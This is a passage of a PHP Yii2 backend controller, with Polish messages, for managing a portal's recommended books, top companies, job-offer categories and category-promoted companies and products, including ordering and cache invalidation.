                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_bookstore_portal_'.$modelPortal->id_portal]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/recommended-books', 'id' => $modelPortal->id_portal]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\BooksPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_portal = $modelPortal->id_portal;
                    $outputParams['model']->id_book = $modelBook->id_book;
                    $outputParams['model']->promotion_type = \common\models\types\BookPromotionType::RECOMMENDED;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set-as-recommended-book', $outputParams);
    }
    
    /**
     * Deletes an existing BooksPromoted model.
     * If deletion is successful, the browser will be redirected to the 'recommended-books' page.
     * @param string $id
     * @return mixed
     */
    public function actionDeleteRecommendedBook($id)
    {
        list($idBook, $idPortal) = explode(",", $id);
        if (($model = \common\models\BooksPromoted::findOne(['id_portal' => intval($idPortal), 'id_book' => intval($idBook), 'promotion_type' => \common\models\types\BookPromotionType::RECOMMENDED])) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }

        $transaction = Yii::$app->db->beginTransaction();
        //ustawianie kolejności pozostałych książek promowanych na danym portalu odbywa się w metodzie BooksPromoted::beforeDelete();
        
        $flag = $model->delete();                
        if($flag) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_bookstore_portal_'.$idPortal]);
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/recommended-books', 'id' => $model->id_portal], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionTopCompanies($id)
    {
        $modelPortal = $this->findModel($id);
        
        $searchModel = new \backend\models\CompaniesPresentationsPromotedSearch();
        $params = Yii::$app->request->queryParams;
        $params['CompaniesPresentationsPromotedSearch']['id_portal'] = $modelPortal->id_portal;
        $dataProviderCompaniesPresentations = $searchModel->search($params);

        $dataProviderTopCompanies = new \yii\data\ActiveDataProvider([
            'query' => \common\models\CompaniesPresentationsPromoted::find()->joinWith('presentation.company')->where(['companies_presentations.id_portal' => $modelPortal->id_portal, 'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY])->orderBy('companies_presentations_promoted.presentation_order ASC'),
            'pagination' => false,
            'sort' => false
        ]);

        return $this->render('top_companies', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'dataProviderCompaniesPresentations' => $dataProviderCompaniesPresentations,
            'dataProviderTopCompanies' => $dataProviderTopCompanies,
        ]);
    }
    
    public function actionCreateAsTopCompany($id)
    {
        if (($modelPresentation = \common\models\CompaniesPresentations::find()->with('portal')->where(['id_presentation' => $id])->one()) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }   
        
        $model = new \common\models\CompaniesPresentationsPromoted(['scenario' => 'create']);
        $model->id_presentation = $modelPresentation->id_presentation;
        $model->promotion_type = \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY;
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_presentation', 'promoted_start_date', 'promoted_end_date']);
        }
        
        $outputParams = [
            'modelPresentation' => $modelPresentation, 
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set_as_top_company', $outputParams);
            }            
            $model->id_presentation = $modelPresentation->id_presentation;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set_as_top_company', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')->where(['>=', 'companies_presentations_promoted.presentation_order', $model->presentation_order])->andWhere(['companies_presentations.id_portal' => $modelPresentation->id_portal, 'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY])->all();
            if(!empty($modelsPresentationsPromoted)) {                
                array_walk($modelsPresentationsPromoted, function($modelPresentationPromoted, $key) use (&$flag) {
                    $modelPresentationPromoted->presentation_order += 1;
                    if(!$flag || !$modelPresentationPromoted->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_top_companies_portal_'.$modelPresentation->id_portal]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/top-companies', 'id' => $modelPresentation->id_portal]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\CompaniesPresentationsPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_presentation = $modelPresentation->id_presentation;
                    $outputParams['model']->promotion_type = \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set_as_top_company', $outputParams);
    }
    
    public function actionUpdateAsTopCompany($id)
    {
        if (($model = \common\models\CompaniesPresentationsPromoted::find()->where(['id_promotion' => $id, 'promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY])->one()) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }       
        $model->setScenario('update');
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_presentation', 'promoted_start_date', 'promoted_end_date']);
        }
        
        $modelPresentation = $model->presentation;
        
        $outputParams = [
            'modelPresentation' => $modelPresentation, 
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('presentation_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set_as_top_company', $outputParams);
            }            
            $model->id_presentation = $modelPresentation->id_presentation;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set_as_top_company', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;            
            
            $newOrder = intval($model->presentation_order);

            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                        ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                        ->andWhere(['companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY])
                        ->where(['<=', 'companies_presentations_promoted.presentation_order', $newOrder])
                        ->andWhere(['>', 'companies_presentations_promoted.presentation_order', $oldOrder])
                        ->andWhere(['companies_presentations.id_portal' => $modelPresentation->id_portal])
                        ->andWhere(['!=', 'companies_presentations_promoted.id_promotion', $model->id_promotion])
                        ->all();
                    if(!empty($modelsPresentationsPromoted)) {                
                        array_walk($modelsPresentationsPromoted, function($modelPresentationPromoted, $key) use (&$flag) {
                            $modelPresentationPromoted->presentation_order -= 1;
                            if(!$flag || !$modelPresentationPromoted->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                        ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                        ->andWhere(['companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::TOP_COMPANY])
                        ->where(['<', 'companies_presentations_promoted.presentation_order', $oldOrder])
                        ->andWhere(['>=', 'companies_presentations_promoted.presentation_order', $newOrder])
                        ->andWhere(['companies_presentations.id_portal' => $modelPresentation->id_portal])
                        ->andWhere(['!=', 'companies_presentations_promoted.id_promotion', $model->id_promotion])
                        ->all();
                    if(!empty($modelsPresentationsPromoted)) {                
                        array_walk($modelsPresentationsPromoted, function($modelPresentationPromoted, $key) use (&$flag) {
                            $modelPresentationPromoted->presentation_order += 1;
                            if(!$flag || !$modelPresentationPromoted->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            if($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_top_companies_portal_'.$modelPresentation->id_portal]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/top-companies', 'id' => $modelPresentation->id_portal]);
                } 
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set_as_top_company', $outputParams);
    }
    
    /**
     * Deletes an existing CompaniesPresentationsPromoted model.
     * If deletion is successful, the browser will be redirected to the 'top-companies' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteTopCompany($id)
    {
        if (($model = \common\models\CompaniesPresentationsPromoted::findOne($id)) === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idPortal = $model->presentation->id_portal;
        
        $transaction = Yii::$app->db->beginTransaction();        
        //ustawianie kolejności pozostałych prezentacji promowanych na danym portalu odbywa się w metodzie CompaniesPresentationsPromoted::beforeDelete();
                        
        if($model->delete() !== false) {
            $transaction->commit();
            TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_top_companies_portal_'.$idPortal]);
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/top-companies', 'id' => $idPortal], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionJobOffersCategories($id)
    {
        $modelPortal = $this->findModel($id);
        
        $searchModel = new \backend\models\JobOffersCategoriesSearch();
        $dataProviderCategories = $searchModel->search(Yii::$app->request->queryParams);
        
        $modelsSelectedCategories = $modelPortal->getJobOffersCategories()->indexBy('id_category')->all();
        $promotedCategories = $modelPortal->getRelationsWithJobOffersCategories()->select(['id_category'])->where(['or_promoted' => 1])->column();
        
        return $this->render('job_offers_categories', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'dataProviderCategories' => $dataProviderCategories,
            'modelsSelectedCategories' => $modelsSelectedCategories,
            'promotedCategories' => $promotedCategories
        ]);
    }
    
    public function actionAddJobOffersCategory()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(!Yii::$app->request->isPost || !Yii::$app->request->isAjax) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return false;
        }
        
        $idCategory = Yii::$app->request->post('id_category');
        $idPortal = Yii::$app->request->post('id_portal');
        
        if(empty($idCategory) || empty($idPortal)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return false;
        }
        
        $model = \common\models\PortalsHasJobOffersCategories::find()->where(['id_category' => $idCategory, 'id_portal' => $idPortal])->one();
        if(!empty($model)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wybrana kategoria jest już przypisana do portalu.')); 
            return false;
        }
        
        $model = new \common\models\PortalsHasJobOffersCategories();
        $model->id_category = $idCategory;
        $model->id_portal = $idPortal;
        if(!$model->validate()) {
            Yii::$app->session->addFlash('error', $model->getErrors()); 
            return false;
        }
        if(!$model->save(false)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            return false;
        }

        TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_job_offers_portal_'.$idPortal, 'job_offers_categories_tree_portal_'.$idPortal]);
        
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie przypisano kategorię ofert pracy do portalu.')); 
        return true;
    }
    
    public function actionDeleteJobOffersCategory()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(!Yii::$app->request->isPost || !Yii::$app->request->isAjax) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
        }
        
        $idCategory = Yii::$app->request->post('id_category');
        $idPortal = Yii::$app->request->post('id_portal');
        
        if(empty($idCategory) || empty($idPortal)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return false;
        }
        
        $model = \common\models\PortalsHasJobOffersCategories::find()->where(['id_category' => $idCategory, 'id_portal' => $idPortal])->one();
        if(empty($model)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Wybrana kategoria nie jest przypisana do portalu.')); 
            return false;
        }
        
        if($model->delete() === false) {
            Yii::$app->session->addFlash('error', 'Błąd podczas usuwania danych.'); 
            return false;
        }
        
        TagDependency::invalidate(Yii::$app->frontendCache, ['mainpage_box_job_offers_portal_'.$idPortal, 'job_offers_categories_tree_portal_'.$idPortal]);
        
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto powiązanie kategorii ofert pracy z portalem.')); 
        return true;
    }
    
    public function actionSetPromotionJobOffersCategory()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(!Yii::$app->request->isPost || !Yii::$app->request->isAjax) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return false;
        }
        
        $idCategory = Yii::$app->request->post('id_category');
        $idPortal = Yii::$app->request->post('id_portal');
        
        if(empty($idCategory) || empty($idPortal)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return false;
        }
        
        $model = \common\models\PortalsHasJobOffersCategories::find()->where(['id_category' => $idCategory, 'id_portal' => $idPortal])->one();
        if(empty($model)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return false;
        }
        
        $model->or_promoted = $model->or_promoted === 0 ? 1 : 0;
        
        if(!$model->validate()) {
            Yii::$app->session->addFlash('error', $model->getErrors()); 
            return false;
        }
        if(!$model->save(false)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            return false;
        }

        TagDependency::invalidate(Yii::$app->frontendCache, ['job_offers_categories_tree_portal_'.$idPortal]);
        
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));         
        return true;
    }
    
    public function actionPromotedCompaniesInCategories($id)
    {
        $modelPortal = $this->findModel($id);  
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;        
        $categories = \common\models\CompaniesCategories::getCategoryTree($idPortalForCategoriesTree);

        $companiesPromoted = \common\models\CompaniesPresentationsPromoted::find()
                ->select(['companies_presentations_promoted.id_category', 'companies_presentations_promoted.promoted_start_date', 'companies_presentations_promoted.promoted_end_date', 'companies.name', 'companies_presentations_promoted.presentation_order'])
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_promoted.id_presentation')
                ->join('INNER JOIN', 'companies', 'companies_presentations.id_company = companies.id_company')
                ->where([
                    'companies_presentations.id_portal' => $modelPortal->id_portal, 
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                ])->orderBy('companies_presentations_promoted.presentation_order ASC')
                ->asArray()
                ->all();

        $companiesPromotedByCategories = [];
        if(!empty($companiesPromoted)) {
            foreach($companiesPromoted as $companyPromoted) {
                $companiesPromotedByCategories[$companyPromoted['id_category']][] = [
                    'company_name' => $companyPromoted['name'],
                    'promoted_start_date' => $companyPromoted['promoted_start_date'],
                    'promoted_end_date' => $companyPromoted['promoted_end_date']
                ];
            }
            unset($companiesPromoted);
        }
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'categories' => !empty($categories[0]['children']) ? $categories[0]['children'] : [],
            'companiesPromotedByCategories' => $companiesPromotedByCategories
        ];
        
        return $this->render('promoted_companies_in_categories', $outputParams);
    }
    
    public function actionPromotedCompaniesInCategory($id)
    {
        $idCategory = Yii::$app->request->get('id_category');
        $modelCategory = \common\models\CompaniesCategories::findOne($idCategory);        
        if($modelCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelPortal = \common\models\Portals::findOne($id);        
        if($modelPortal === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $searchModel = new \backend\models\CompaniesPresentationsPromotedSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['CompaniesPresentationsPromotedSearch']['idsCategories'] = \common\models\CompaniesCategories::getIdsSelectedBranch($modelCategory);
        $dataProviderCompaniesPresentations = $searchModel->search($queryParams);

        $dataProviderPromotedCompanies = new \yii\data\ActiveDataProvider([
            'query' => \common\models\CompaniesPresentationsPromoted::find()
                ->joinWith('presentation.company')
                ->where([
                    'companies_presentations.id_portal' => $modelPortal->id_portal, 
                    'companies_presentations_promoted.id_category' => $modelCategory->id_category,
                    'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                ])->orderBy('companies_presentations_promoted.presentation_order ASC'),
            'pagination' => false,
            'sort' => false
        ]);

        return $this->render('promoted_companies_in_category', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'modelCategory' => $modelCategory,
            'dataProviderCompaniesPresentations' => $dataProviderCompaniesPresentations,
            'dataProviderPromotedCompanies' => $dataProviderPromotedCompanies,
        ]);
    }
    
    public function actionSetAsPromotedCompanyInCategory()
    {
        $idPresentation = Yii::$app->request->get('id_presentation');
        $idCategory = Yii::$app->request->get('id_category');
        if(empty($idPresentation) || empty($idCategory)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        $modelPresentation = \common\models\CompaniesPresentations::find()->with('portal')->where(['id_presentation' => $idPresentation])->one();
        if($modelPresentation === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }  
        
        $modelCategory = \common\models\CompaniesCategories::findOne($idCategory);  
        if($modelCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model = \common\models\CompaniesPresentationsPromoted::find()
                ->where([
                    'id_presentation' => $modelPresentation->id_presentation, 
                    'id_category' => $modelCategory->id_category,
                    'promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                ])->one();
        if(empty($model)) {
            $model = new \common\models\CompaniesPresentationsPromoted(['scenario' => 'create']);
            $model->id_presentation = $modelPresentation->id_presentation;
            $model->id_category = $modelCategory->id_category;
            $model->promotion_type = \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY;
        } else {
            $model->setScenario('update');
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['id_presentation', 'id_category', 'promoted_start_date', 'promoted_end_date']);
        }
        
        $outputParams = [
            'modelPresentation' => $modelPresentation, 
            'modelCategory' => $modelCategory,
            'model' => $model
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('presentation_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('set-as-set_as_promoted_company_in_category-company', $outputParams);
            }            
            $model->id_presentation = $modelPresentation->id_presentation;
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('set_as_promoted_company_in_category', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            if($model->isNewRecord) {
                $modelsPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                        ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                        ->where(['>=', 'companies_presentations_promoted.presentation_order', $model->presentation_order])
                        ->andWhere([
                            'companies_presentations.id_portal' => $modelPresentation->id_portal, 
                            'companies_presentations_promoted.id_category' => $modelCategory->id_category,
                            'companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                        ])->all();
                if(!empty($modelsPresentationsPromoted)) {                
                    array_walk($modelsPresentationsPromoted, function($modelPresentationPromoted, $key) use (&$flag) {
                        $modelPresentationPromoted->presentation_order += 1;
                        if(!$flag || !$modelPresentationPromoted->save(false)) {
                            $flag = false;
                        }
                    });
                }
            } else {
                $newOrder = intval($model->presentation_order);
            
                if($newOrder !== $oldOrder) {
                    if($newOrder > $oldOrder) {
                        $modelsPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                            ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                            ->andWhere(['companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY])
                            ->where(['<=', 'companies_presentations_promoted.presentation_order', $newOrder])
                            ->andWhere(['>', 'companies_presentations_promoted.presentation_order', $oldOrder])
                            ->andWhere([
                                'companies_presentations.id_portal' => $modelPresentation->id_portal,
                                'companies_presentations_promoted.id_category' => $modelCategory->id_category
                            ])
                            ->andWhere(['!=', 'companies_presentations_promoted.id_promotion', $model->id_promotion])
                            ->all();
                        if(!empty($modelsPresentationsPromoted)) {                
                            array_walk($modelsPresentationsPromoted, function($modelPresentationPromoted, $key) use (&$flag) {
                                $modelPresentationPromoted->presentation_order -= 1;
                                if(!$flag || !$modelPresentationPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    } else {
                        $modelsPresentationsPromoted = \common\models\CompaniesPresentationsPromoted::find()
                            ->join('INNER JOIN', 'companies_presentations', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                            ->andWhere(['companies_presentations_promoted.promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY])
                            ->where(['<', 'companies_presentations_promoted.presentation_order', $oldOrder])
                            ->andWhere(['>=', 'companies_presentations_promoted.presentation_order', $newOrder])
                            ->andWhere([
                                'companies_presentations.id_portal' => $modelPresentation->id_portal,
                                'companies_presentations_promoted.id_category' => $modelCategory->id_category
                            ])
                            ->andWhere(['!=', 'companies_presentations_promoted.id_promotion', $model->id_promotion])
                            ->all();
                        if(!empty($modelsPresentationsPromoted)) {                
                            array_walk($modelsPresentationsPromoted, function($modelPresentationPromoted, $key) use (&$flag) {
                                $modelPresentationPromoted->presentation_order += 1;
                                if(!$flag || !$modelPresentationPromoted->save(false)) {
                                    $flag = false;
                                }
                            });
                        }
                    }
                }
            }
            
            if($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['portals/promoted-companies-in-category', 'id' => $modelPresentation->id_portal, 'id_category' => $modelCategory->id_category]);
                } elseif($model->getScenario() === 'create') {
                    $outputParams['model'] = new \common\models\CompaniesPresentationsPromoted(['scenario' => 'create']);
                    $outputParams['model']->id_presentation = $modelPresentation->id_presentation;
                    $outputParams['model']->id_category = $modelCategory->id_category;
                    $outputParams['model']->promotion_type = \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY;
                }
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('set_as_promoted_company_in_category', $outputParams);
    }
    
    public function actionDeletePromotedCompanyInCategory($id)
    {
        $model=\common\models\CompaniesPresentationsPromoted::find()
                ->where([
                    'id_promotion' => $id, 
                    'promotion_type' => \common\models\types\CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY
                ])->one();
        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $transaction = Yii::$app->db->beginTransaction();        
        //ustawianie kolejności pozostałych prezentacji promowanych na danym portalu odbywa się w metodzie CompaniesPresentationsPromoted::beforeDelete();
             
        $idPortal = $model->presentation->id_portal;
        
        if($model->delete() !== false) {
            $transaction->commit();
        } else {
            $transaction->rollBack();
        }
        
        if(empty(Yii::$app->request->get('return_url'))) {
            return Yii::$app->getResponse()->redirect(['portals/promoted-companies-in-category', 'id' => $idPortal, 'id_category' => $model->id_category], 302, false);
        } else {
            return $this->redirect(Yii::$app->request->get('return_url'));
        }
    }
    
    public function actionPromotedProductsInCategories($id)
    {
        $modelPortal = $this->findModel($id);  
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        $categories = \common\models\ProductsCategories::getCategoryTree($idPortalForCategoriesTree);

        $productsPromoted = \common\models\PortalsHasProductsPromoted::find()
                ->select(['portals_has_products_promoted.id_category', 'portals_has_products_promoted.promoted_start_date', 'portals_has_products_promoted.promoted_end_date', 'products.name', 'portals_has_products_promoted.product_order'])
                ->join('INNER JOIN', 'products', 'products.id_product = portals_has_products_promoted.id_product')
                ->where([
                    'portals_has_products_promoted.id_portal' => $modelPortal->id_portal, 
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                ])->orderBy('portals_has_products_promoted.product_order ASC')
                ->asArray()
                ->all();

        $productsPromotedByCategories = [];
        if(!empty($productsPromoted)) {
            foreach($productsPromoted as $productPromoted) {
                $productsPromotedByCategories[$productPromoted['id_category']][] = [
                    'product_name' => $productPromoted['name'],
                    'promoted_start_date' => $productPromoted['promoted_start_date'],
                    'promoted_end_date' => $productPromoted['promoted_end_date']
                ];
            }
            unset($productsPromoted);
        }
        
        $outputParams = [
            'modelPortal' => $modelPortal,
            'categories' => !empty($categories[0]['children']) ? $categories[0]['children'] : [],
            'productsPromotedByCategories' => $productsPromotedByCategories
        ];
        
        return $this->render('promoted_products_in_categories', $outputParams);
    }
    
    public function actionPromotedProductsInCategory($id)
    {
        $idCategory = Yii::$app->request->get('id_category');
        $modelCategory = \common\models\ProductsCategories::findOne($idCategory);        
        if($modelCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelPortal = \common\models\Portals::findOne($id);        
        if($modelPortal === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $searchModel = new \backend\models\PortalsPromotedProductsSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['PortalsPromotedProductsSearch']['idsCategories'] = \common\models\ProductsCategories::getIdsSelectedBranch($modelCategory);
        $dataProviderProducts = $searchModel->search($queryParams);

        $dataProviderPromotedProducts = new \yii\data\ActiveDataProvider([
            'query' => $modelPortal->getRelationsWithProductsPromoted()
                ->with('product')
                ->where([
                    'portals_has_products_promoted.id_category' => $modelCategory->id_category,
                    'portals_has_products_promoted.promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                ])                
                ->orderBy('portals_has_products_promoted.product_order ASC'),
            'pagination' => false,
            'sort' => false
        ]);

        return $this->render('promoted_products_in_category', [
            'modelPortal' => $modelPortal, 
            'searchModel' => $searchModel,
            'modelCategory' => $modelCategory,
            'dataProviderProducts' => $dataProviderProducts,
            'dataProviderPromotedProducts' => $dataProviderPromotedProducts,
        ]);
    }
    
    public function actionSetAsPromotedProductInCategory()
    {        
        $idProduct = Yii::$app->request->get('id_product');
        $idPortal = Yii::$app->request->get('id_portal');
        $idCategory = Yii::$app->request->get('id_category');
        if(empty($idProduct) || empty($idCategory) || empty($idPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        $modelPortal = \common\models\Portals::findOne($idPortal);
        if($modelPortal === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelProduct = \common\models\Products::findOne($idProduct);
        if($modelProduct === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelCategory = \common\models\ProductsCategories::findOne($idCategory);  
        if($modelCategory === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }

        $model = \common\models\PortalsHasProductsPromoted::find()
                ->where([
                    'id_portal' => $modelPortal->id_portal, 
                    'id_product' => $modelProduct->id_product, 
                    'id_category' => $modelCategory->id_category,
                    'promotion_type' => \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY
                ])->one();
        if(empty($model)) {
            $model = new \common\models\PortalsHasProductsPromoted(['scenario' => 'create']);
            $model->id_portal = $modelPortal->id_portal;
            $model->id_product = $modelProduct->id_product;
            $model->id_category = $modelCategory->id_category;
            $model->promotion_type = \common\models\types\ProductPromotionType::POSITIONING_IN_CATEGORY;
        } else {
            $model->setScenario('update');
        }
                
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
